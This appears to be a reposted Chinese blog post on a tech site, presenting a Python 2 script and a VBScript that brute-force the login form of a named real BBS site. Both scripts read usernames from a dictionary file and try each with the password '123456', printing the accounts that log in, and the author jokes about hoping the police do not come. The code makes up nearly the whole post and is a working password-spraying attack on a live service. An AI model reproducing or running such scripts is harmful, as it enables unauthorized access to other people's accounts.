当前位置: 移动技术网 > IT编程>脚本编程>Python > Python牛刀小试密码爆破

Python牛刀小试密码爆破

2019年04月05日  | 移动技术网IT编程  | 我要评论

本多立太郎,鬼域,致我们终将逝去的青春txt

难道真的要我破解一个么?算了,正好试试我的python水平。
python版
复制代码 代码如下:

#coding: gbk
import httplib, urllib

def check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"content-type":
"application/x-www-form-urlencoded"}
conn = httplib.httpsconnection("www.bdwm.net")
conn.request("post",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return false
elif res.find("不存在这个用户") != -1:
return false
else:
return true

for i in open("english.dic"):
if check(i.rstrip(),"123456"):
print i

顺便也写了个vbs版的,感觉貌似vbs比较快,感觉出问题了?
复制代码 代码如下:

dim fso
set fso = createobject("scripting.filesystemobject")
with fso.opentextfile("english.dic",1)
do until .atendofstream
id = .readline
if check(id,"123456") then
wscript.echo id & vbtab &"ok"
end if
loop
end with

function check(username,password)
dim http
set http = createobject("msxml2.xmlhttp")
http.open _
"post","https://www.bdwm.net/bbs/bbslog2.php",false
http.setrequestheader _
"content-type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = ansitounicode(http.responsebody)
if instr(response,"密码不正确") then
check = false
elseif instr(response,"不存在这个用户") then
check = false
else
check = true
end if
end function

function ansitounicode(str)
dim ado
set ado = createobject("adodb.stream")
ado.type = 1
ado.open
ado.write str
ado.position = 0
ado.type = 2
ado.charset = "gb2312"
ansitounicode = ado.readtext
end function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网